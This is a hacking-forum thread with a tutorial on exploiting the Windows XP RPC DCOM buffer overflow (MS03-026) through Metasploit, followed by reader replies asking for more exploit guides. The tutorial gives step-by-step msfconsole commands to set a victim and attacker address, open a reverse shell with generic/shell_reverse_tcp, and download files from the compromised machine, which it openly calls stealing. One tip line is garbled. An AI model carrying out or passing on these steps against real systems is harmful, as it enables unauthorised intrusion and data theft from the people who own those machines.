

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Metasploit Tutorial Part 3 - EXPLOITING WINDOWS XP](#)

SIM-2015410 - March 20, 2014, 1:00 am

Hello Hf,

Welcome to another installment of my Metasploit hacking tutorial.

Make sure you have read tutorial 1 and 2 first:Spoiler [\(Click to View\)](#)

<https://hackforums.net/showthread.php?tid=4124763>

<https://hackforums.net/showthread.php?tid=4124800>

This tutorial will again be demonstrating some exploits in the metasploit framework. This exploit works for windows XP, server 2003 and sometimes vista and server 2008

Getting Started

Firstly, we need to start up metasploit.

Windows XP has been around for a long time now, but it is one of the most trusted operating systems in existence, with many users still running it. Windows XP has a common exploitable flaw: RPC DCOM. With a buffer overflow attack, we can execute any code we want on their computer, allowing us to “own” their “box”.

Load the Exploit in Metasploit

To select the exploit we want, we will search the metasploit database using the search command. We want the DCOM exploit:

Code msf > search dcom

In the results list, you should see “exploit/windows/dcerpc/ms03_026_dcom”, which is the exploit we will use. Type this command to use it:

Code msf > use exploit/windows/dcerpc/ms03_026_dcom

Exploit Options

We now need to set the options of the exploit so it will do what we want correctly. Use this command to show the available options for the DCOM exploit:

Code msf > show options

The first 2 options necessary are RHOST and LHOST. RHOST is the IP address of the targets computer, for example 192.168.1.10. The exploit will use the port 135 to connect to the victim's computer. This is called binding the port. The LHOST is the IP address of our (the attackers) computer, in this case 192.168.1.8. Set the options like this:

Code msf > set RHOST 192.168.1.10Code msf > set LHOST 192.168.1.8

Selecting a Payload

Now to select a payload for the exploit. This will be run by the “buffer overflow” (a type of exploit). Use this command to list available payloads:

Code msf > show payloads

We will use a payload to open a reverse shell on our target system, so from the list of payloads, we will select “generic/shell_reverse_tcp”, by using this command:

Code msf > set PAYLOAD generic/shell_reverse_tcp

Run the Exploit!

We can now run the exploit to attack the target PC, using this command:

Code msf > exploit

Simple as that ?

Code sessions –i 1

TIP:

If you wanted to steal files from a server, you can use this exploit:

Code meterpreter >idletime! not, browse away! When you have found the file you want, simply download it to your root directory using this command:

```
Code meterpreter > download C:\\folder\\examplefile
```

Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.

Written by MeshCollider ?

I have a few questions:

Can you do a tutorial on how to exploit a Windows 2008 R3 server?

Can you do a tutorial on exploiting proftpd 1.3.3a, Everytime i try i fail

Awesome tut keep it up

353535353535353533534343

i think this exploit can be apply only on the internal network not on the external and sometimes it will be unsuccessful if there is activated firewall on the target and also its not effective on windows 7 , all my notices depend on my tries before , may be i'm correct and may be i'm incorrect or may i used wrong method in exploit .

anyway Thanks for usefull tutorial and keep up the good work

Regards

(Nov 10, 2014 11:45 PM)MindFreak™ Wrote: [CITE](#) i think this exploit can be apply only on the internal network not on the external and sometimes it will be unsuccessful if there is activated firewall on the target and also its not effective on windows 7 , all my notices depend on my tries before , may be i'm correct and may be i'm incorrect or may i used wrong method in exploit .

anyway Thanks for usefull tutorial and keep up the good work

balha - May 10, 2016, 10:00 pm

Thank you very much.

Can u create a tutorial about Metasploit for Windows 7 ?
Greetings :3

.Anonymous666. - *June 1, 2016, 7:44 pm*

good tutorial :D Cant u also do this with Armitage ?

32x0LF - *June 1, 2016, 10:06 pm*

Very Cool..Following. We want MORE :)